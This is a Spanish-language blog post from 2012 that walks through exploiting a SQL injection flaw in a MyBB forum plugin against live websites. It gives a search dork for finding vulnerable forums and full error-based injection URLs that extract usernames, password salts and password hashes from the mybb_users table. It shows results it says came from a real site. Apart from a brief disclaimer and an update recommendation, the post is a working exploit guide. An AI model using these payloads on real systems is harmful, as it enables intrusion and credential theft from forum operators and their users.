jueves, 18 de octubre de 2012

Explotando SQL Injection 0-day en Foros MyBB

Hace unos días PonyBlaze descubrió una Vulnerabilidad de SQL Injection en los servidores webs basados en MyBB versiones 1.5 en el Plugin Follower User.

La descripción de dicha Vulnerabilidad se puede apreciar desde el siguiente link: 


En la descripción se puede apreciar que la Vulnerabilidad existe dentro del archivo SuscribeUsers.php en SuscribeUsers_add():

-------------------------------------------------------------------------------------------------------------
<?
$usid = $mybb->input[usid]; //Line 671
$uid = $mybb->input[uid]; //Line 672
if(user_awaiting($uid,$usid)) //Line 781
{ //Line 782
redirect("member.php?action=profile&uid=".$usid."#suscriberuser", $lang->double_suscription_awaiting,$lang->suscriberuser); // Line 783
} //Line 784
?>
-------------------------------------------------------------------------------------------------------------

Entonces como ya sabemos en que parte de la web se encuentra la vulnerabilidad, procederemos a poner en practica este bug, para ello buscaremos webs vulnerables con la siguiente dork:

  • intext:"Users subscribed to" inurl:member.php

Esta nos mostrara muchas webs vulnerables, la cual al momento de abrir algun link, automáticamente nos redireccionara a la siguiente dirección:

  • www.sitio-web.com/member.php?action=profile&uid=29

Dicha dirección mostrara el modulo "Users subscribed to hansip" tal y como se aprecia en la siguiente imagen:



La opción "Suscribe to this user" solo se mostrara siempre y cuando estemos registrado en dicho foro, esto es muy esencial ya que ahí es donde inyectaremos los parámetros.

Para proseguir con la explotación de esta vulnerabilidad, se recomienda utilizar el navegador Firefox y el addon HackBar

Luego presionamos clic derecho sobre la opcion "Suscribe to this user", clickeamos en "Copy Link Location" y lo pegaremos en el HackBar, quedando de la siguiente manera:

  • http://www.sitio-web.com/misc.php?suscriberuser=yes&usid=29&uid=242



Entonces a partir de alli inyectaremos, por ejemplo si queremos obtener algún usuario, inyectaremos de la siguiente manera:

  • http://www.sitio-web.com/misc.php?suscriberuser=yes&usid=' and(select 1 from(select count(*),concat((select username from mybb_users where uid=2),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- - =173&uid=242

En este caso la web que he cogido como prueba, devuelve el usuario 'bolod1' tal y como se muestra en la siguiente imagen:



Ahora para obtener el SALT, inyectaremos el mismo codigo anterior, cambiando 'username' por 'salt', por ejemplo:

  • http://www.sitio-web.com/misc.php?suscriberuser=yes&usid=' and(select 1 from(select count(*),concat((select salt from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- - =173&uid=242


Como vemos, la inyección que colocamos devuelve como resultado '7PEBczOu1' la cual viene hacer el SALT.


De igual forma, si queremos obtener el password respectivo, solo cambiamos 'salt' por 'password', por ejemplo:

  • http://www.sitio-web.com/misc.php?suscriberuser=yes&usid=' and(select 1 from(select count(*),concat((select password from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- - =173&uid=242


El resultado de la inyeccion es '3379f9b255f76ca0f6e58e146604fe501' la cual viene hacer el password del usuario (bolod1) obtenido lineas arriba.

Entonces los resultados finales basándose en el SALT, serian:

Username: bolod
Password: 79f9b255f76ca0f6e58e146604fe50


CONCLUSIÓN:

MyBB desde hace mucho tiempo no tiene vulnerabilidades tan grave como lo expresado lineas arriba, por lo que se recomienda actualizar el servidor web a una versión mas actual.

El tutorial es solo con fines EDUCATIVOS, cualquier uso malintencionado de la misma es responsabilidad entera de cada uno.

Saludos.



No hay comentarios:

Publicar un comentario